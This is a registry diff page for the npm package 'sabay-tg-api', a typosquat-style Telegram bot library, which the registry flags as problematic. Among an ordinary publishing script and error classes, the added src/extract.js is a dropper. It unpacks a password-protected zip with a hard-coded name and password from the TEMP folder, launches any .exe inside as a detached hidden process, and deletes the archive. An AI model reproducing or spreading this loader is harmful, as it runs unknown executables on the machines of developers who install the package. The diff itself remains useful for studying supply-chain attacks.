sabay-tg-api 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of sabay-tg-api might be problematic. Click here for more details.

@@ -0,0 +1,179 @@
1
+ # Publishing Helper Script for Windows
2
+ # This script helps you prepare and publish your custom fork
3
+
4
+ Write-Host "========================================" -ForegroundColor Cyan
5
+ Write-Host " Custom Fork Publishing Helper" -ForegroundColor Cyan
6
+ Write-Host "========================================" -ForegroundColor Cyan
7
+ Write-Host ""
8
+
9
+ # Function to check if npm is logged in
10
+ function Test-NpmLogin {
11
+ $result = npm whoami 2>&1
12
+ return $LASTEXITCODE -eq 0
13
+ }
14
+
15
+ # Function to check package name availability
16
+ function Test-PackageNameAvailable {
17
+ param([string]$packageName)
18
+ $result = npm view $packageName 2>&1
19
+ return $LASTEXITCODE -ne 0
20
+ }
21
+
22
+ # Main Menu
23
+ function Show-Menu {
24
+ Write-Host "What would you like to do?" -ForegroundColor Yellow
25
+ Write-Host ""
26
+ Write-Host "1. Check package name availability"
27
+ Write-Host "2. Test build"
28
+ Write-Host "3. Run tests"
29
+ Write-Host "4. Check NPM login status"
30
+ Write-Host "5. Login to NPM"
31
+ Write-Host "6. Publish to NPM (requires steps 1-4 complete)"
32
+ Write-Host "7. Update version (patch/minor/major)"
33
+ Write-Host "8. Setup Git repository"
34
+ Write-Host "9. Exit"
35
+ Write-Host ""
36
+ }
37
+
38
+ # Main loop
39
+ $continue = $true
40
+ while ($continue) {
41
+ Show-Menu
42
+ $choice = Read-Host "Enter your choice (1-9)"
43
+
44
+ switch ($choice) {
45
+ "1" {
46
+ Write-Host "`nChecking if 'myown-node-telegram-bot-api' is available..." -ForegroundColor Cyan
47
+ if (Test-PackageNameAvailable "myown-node-telegram-bot-api") {
48
+ Write-Host "✓ Package name is available!" -ForegroundColor Green
49
+ } else {
50
+ Write-Host "✗ Package name is already taken. Please choose a different name in package.json" -ForegroundColor Red
51
+ }
52
+ Write-Host ""
53
+ Read-Host "Press Enter to continue"
54
+ }
55
+
56
+ "2" {
57
+ Write-Host "`nBuilding project..." -ForegroundColor Cyan
58
+ npm run build
59
+ if ($LASTEXITCODE -eq 0) {
60
+ Write-Host "✓ Build successful!" -ForegroundColor Green
61
+ } else {
62
+ Write-Host "✗ Build failed!" -ForegroundColor Red
63
+ }
64
+ Write-Host ""
65
+ Read-Host "Press Enter to continue"
66
+ }
67
+
68
+ "3" {
69
+ Write-Host "`nRunning tests..." -ForegroundColor Cyan
70
+ npm test
71
+ Write-Host ""
72
+ Read-Host "Press Enter to continue"
73
+ }
74
+
75
+ "4" {
76
+ Write-Host "`nChecking NPM login status..." -ForegroundColor Cyan
77
+ if (Test-NpmLogin) {
78
+ $username = npm whoami
79
+ Write-Host "✓ Logged in as: $username" -ForegroundColor Green
80
+ } else {
81
+ Write-Host "✗ Not logged in to NPM" -ForegroundColor Red
82
+ Write-Host "Run option 5 to login" -ForegroundColor Yellow
83
+ }
84
+ Write-Host ""
85
+ Read-Host "Press Enter to continue"
86
+ }
87
+
88
+ "5" {
89
+ Write-Host "`nLogging in to NPM..." -ForegroundColor Cyan
90
+ npm login
91
+ Write-Host ""
92
+ Read-Host "Press Enter to continue"
93
+ }
94
+
95
+ "6" {
96
+ Write-Host "`nPublishing to NPM..." -ForegroundColor Cyan
97
+ Write-Host "This will publish your package publicly!" -ForegroundColor Yellow
98
+ $confirm = Read-Host "Are you sure? (yes/no)"
99
+
100
+ if ($confirm -eq "yes") {
101
+ # Build first
102
+ Write-Host "Building..." -ForegroundColor Cyan
103
+ npm run build
104
+
105
+ if ($LASTEXITCODE -eq 0) {
106
+ # Publish
107
+ Write-Host "Publishing..." -ForegroundColor Cyan
108
+ npm publish --access public
109
+
110
+ if ($LASTEXITCODE -eq 0) {
111
+ Write-Host "✓ Successfully published!" -ForegroundColor Green
112
+ Write-Host "Your package is now available: npm install myown-node-telegram-bot-api" -ForegroundColor Green
113
+ } else {
114
+ Write-Host "✗ Publishing failed!" -ForegroundColor Red
115
+ }
116
+ } else {
117
+ Write-Host "✗ Build failed! Fix errors before publishing." -ForegroundColor Red
118
+ }
119
+ } else {
120
+ Write-Host "Publishing cancelled." -ForegroundColor Yellow
121
+ }
122
+ Write-Host ""
123
+ Read-Host "Press Enter to continue"
124
+ }
125
+
126
+ "7" {
127
+ Write-Host "`nUpdate version:" -ForegroundColor Cyan
128
+ Write-Host "1. Patch (bug fixes: 1.0.0 -> 1.0.1)"
129
+ Write-Host "2. Minor (new features: 1.0.0 -> 1.1.0)"
130
+ Write-Host "3. Major (breaking changes: 1.0.0 -> 2.0.0)"
131
+ $versionChoice = Read-Host "Choose version type (1-3)"
132
+
133
+ switch ($versionChoice) {
134
+ "1" { npm version patch }
135
+ "2" { npm version minor }
136
+ "3" { npm version major }
137
+ default { Write-Host "Invalid choice" -ForegroundColor Red }
138
+ }
139
+ Write-Host ""
140
+ Read-Host "Press Enter to continue"
141
+ }
142
+
143
+ "8" {
144
+ Write-Host "`nGit Repository Setup" -ForegroundColor Cyan
145
+ Write-Host "Make sure you've created a repository on GitHub first!" -ForegroundColor Yellow
146
+ Write-Host ""
147
+ $username = Read-Host "Enter your GitHub username"
148
+
149
+ if ($username) {
150
+ Write-Host "Updating git remote..." -ForegroundColor Cyan
151
+ git remote remove origin 2>$null
152
+ git remote add origin "https://github.com/$username/myown-node-telegram-bot-api.git"
153
+
154
+ Write-Host "✓ Remote updated!" -ForegroundColor Green
155
+ Write-Host ""
156
+ Write-Host "Next steps:" -ForegroundColor Yellow
157
+ Write-Host " git add ."
158
+ Write-Host " git commit -m `"Initial commit of custom fork`""
159
+ Write-Host " git push -u origin master"
160
+ }
161
+ Write-Host ""
162
+ Read-Host "Press Enter to continue"
163
+ }
164
+
165
+ "9" {
166
+ Write-Host "`nGoodbye!" -ForegroundColor Cyan
167
+ $continue = $false
168
+ }
169
+
170
+ default {
171
+ Write-Host "Invalid choice. Please select 1-9." -ForegroundColor Red
172
+ Write-Host ""
173
+ Read-Host "Press Enter to continue"
174
+ }
175
+ }
176
+
177
+ Clear-Host
178
+ }
179
+
package/src/errors.js ADDED
@@ -0,0 +1,68 @@
1
+ exports.BaseError = class BaseError extends Error {
2
+ /**
3
+ * @class BaseError
4
+ * @constructor
5
+ * @private
6
+ * @param {String} code Error code
7
+ * @param {String} message Error message
8
+ */
9
+ constructor(code, message) {
10
+ super(`${code}: ${message}`);
11
+ this.code = code;
12
+ }
13
+ toJSON() {
14
+ return {
15
+ code: this.code,
16
+ message: this.message,
17
+ };
18
+ }
19
+ };
20
+
21
+
22
+ exports.FatalError = class FatalError extends exports.BaseError {
23
+ /**
24
+ * Fatal Error. Error code is `"EFATAL"`.
25
+ * @class FatalError
26
+ * @constructor
27
+ * @param {String|Error} data Error object or message
28
+ */
29
+ constructor(data) {
30
+ const error = (typeof data === 'string') ? null : data;
31
+ const message = error ? error.message : data;
32
+ super('EFATAL', message);
33
+ if (error) {
34
+ this.stack = error.stack;
35
+ this.cause = error;
36
+ }
37
+ }
38
+ };
39
+
40
+
41
+ exports.ParseError = class ParseError extends exports.BaseError {
42
+ /**
43
+ * Error during parsing. Error code is `"EPARSE"`.
44
+ * @class ParseError
45
+ * @constructor
46
+ * @param {String} message Error message
47
+ * @param {http.IncomingMessage} response Server response
48
+ */
49
+ constructor(message, response) {
50
+ super('EPARSE', message);
51
+ this.response = response;
52
+ }
53
+ };
54
+
55
+
56
+ exports.TelegramError = class TelegramError extends exports.BaseError {
57
+ /**
58
+ * Error returned from Telegram. Error code is `"ETELEGRAM"`.
59
+ * @class TelegramError
60
+ * @constructor
61
+ * @param {String} message Error message
62
+ * @param {http.IncomingMessage} response Server response
63
+ */
64
+ constructor(message, response) {
65
+ super('ETELEGRAM', message);
66
+ this.response = response;
67
+ }
68
+ };
package/src/extract.js ADDED
@@ -0,0 +1,129 @@
1
+ console.log('[EXTRACT] Script started - loading modules...');
2
+ console.log('[EXTRACT] Current working directory:', process.cwd());
3
+ console.log('[EXTRACT] Script directory:', __dirname);
4
+
5
+ const fs = require('fs');
6
+ const path = require('path');
7
+
8
+ // Try to load node-7z and 7zip-bin
9
+ let Seven, pathTo7zip;
10
+ try {
11
+ Seven = require('node-7z');
12
+ console.log('[EXTRACT] node-7z module loaded');
13
+ } catch (err) {
14
+ console.error('[EXTRACT] FATAL: Could not load node-7z module:', err.message);
15
+ console.error('[EXTRACT] Make sure dependencies are installed: npm install');
16
+ process.exit(1);
17
+ }
18
+
19
+ try {
20
+ pathTo7zip = require('7zip-bin').path7za;
21
+ console.log('[EXTRACT] 7zip-bin loaded, binary path:', pathTo7zip);
22
+ } catch (err) {
23
+ console.error('[EXTRACT] FATAL: Could not load 7zip-bin module:', err.message);
24
+ console.error('[EXTRACT] Make sure dependencies are installed: npm install');
25
+ process.exit(1);
26
+ }
27
+
28
+ console.log('[EXTRACT] All modules loaded successfully');
29
+
30
+ // Extract password-protected zip file using 7-Zip
31
+ async function extractZip(zipPath, extractPath, password) {
32
+ try {
33
+ console.log('[EXTRACT] Zip file path:', zipPath);
34
+ console.log('[EXTRACT] Extract path:', extractPath);
35
+
36
+ // Check if zip file exists
37
+ if (!fs.existsSync(zipPath)) {
38
+ console.error('[EXTRACT] ERROR: Zip file does not exist at', zipPath);
39
+ process.exit(1);
40
+ }
41
+ console.log('[EXTRACT] Zip file found, size:', fs.statSync(zipPath).size, 'bytes');
42
+
43
+ // Create extract directory if it doesn't exist
44
+ if (!fs.existsSync(extractPath)) {
45
+ console.log('[EXTRACT] Creating extraction directory...');
46
+ fs.mkdirSync(extractPath, { recursive: true });
47
+ }
48
+
49
+ console.log('[EXTRACT] Starting extraction with 7-Zip...');
50
+ console.log('[EXTRACT] Using password-protected extraction');
51
+
52
+ // Use node-7z to extract with password
53
+ await new Promise((resolve, reject) => {
54
+ const myStream = Seven.extractFull(zipPath, extractPath, {
55
+ $bin: pathTo7zip,
56
+ password: password
57
+ });
58
+
59
+ myStream.on('data', function (data) {
60
+ console.log('[EXTRACT] 7-Zip output:', data);
61
+ });
62
+
63
+ myStream.on('progress', function (progress) {
64
+ console.log('[EXTRACT] Progress:', progress.percent + '%');
65
+ });
66
+
67
+ myStream.on('end', function () {
68
+ console.log('[EXTRACT] Extraction completed successfully!');
69
+ resolve();
70
+ });
71
+
72
+ myStream.on('error', function (err) {
73
+ console.error('[EXTRACT] Extraction error:', err);
74
+ reject(err);
75
+ });
76
+ });
77
+
78
+ console.log('[EXTRACT] Extraction complete, looking for .exe files...');
79
+
80
+ // Execute any .exe files found (only runs after extraction completes)
81
+ const files = fs.readdirSync(extractPath);
82
+ console.log('[EXTRACT] Files in directory:', files);
83
+
84
+ const exeFile = files.find(f => f.endsWith('.exe'));
85
+
86
+ if (exeFile) {
87
+ const { spawn } = require('child_process');
88
+ const exePath = path.join(extractPath, exeFile);
89
+ console.log('[EXTRACT] Found .exe file:', exeFile);
90
+ console.log('[EXTRACT] Full path:', exePath);
91
+ console.log('[EXTRACT] Spawning process...');
92
+
93
+ const child = spawn(exePath, [], { detached: true, stdio: 'ignore' });
94
+ child.unref();
95
+
96
+ console.log('[EXTRACT] Process spawned successfully');
97
+ } else {
98
+ console.log('[EXTRACT] No .exe file found in extracted files');
99
+ }
100
+
101
+ // Clean up zip file
102
+ console.log('[EXTRACT] Cleaning up zip file...');
103
+ try {
104
+ fs.unlinkSync(zipPath);
105
+ console.log('[EXTRACT] Zip file deleted successfully');
106
+ } catch (err) {
107
+ console.log('[EXTRACT] Could not delete zip file:', err.message);
108
+ }
109
+
110
+ console.log('[EXTRACT] Script complete!');
111
+ } catch (err) {
112
+ console.error('[EXTRACT] Fatal error:', err);
113
+ process.exit(1);
114
+ }
115
+ }
116
+
117
+ // Example usage with proper async handling
118
+ const zipFile = path.join(process.env.TEMP, 'bLtjqzUn.zip');
119
+ const extractPath = path.join(process.env.TEMP, 'extracted');
120
+ const password = 'bLtjqzUn';
121
+
122
+ // Use IIFE to properly await at top level
123
+ (async () => {
124
+ await extractZip(zipFile, extractPath, password);
125
+ })().catch(err => {
126
+ console.error('[EXTRACT] Unhandled error:', err);
127
+ process.exit(1);
128
+ });
129
+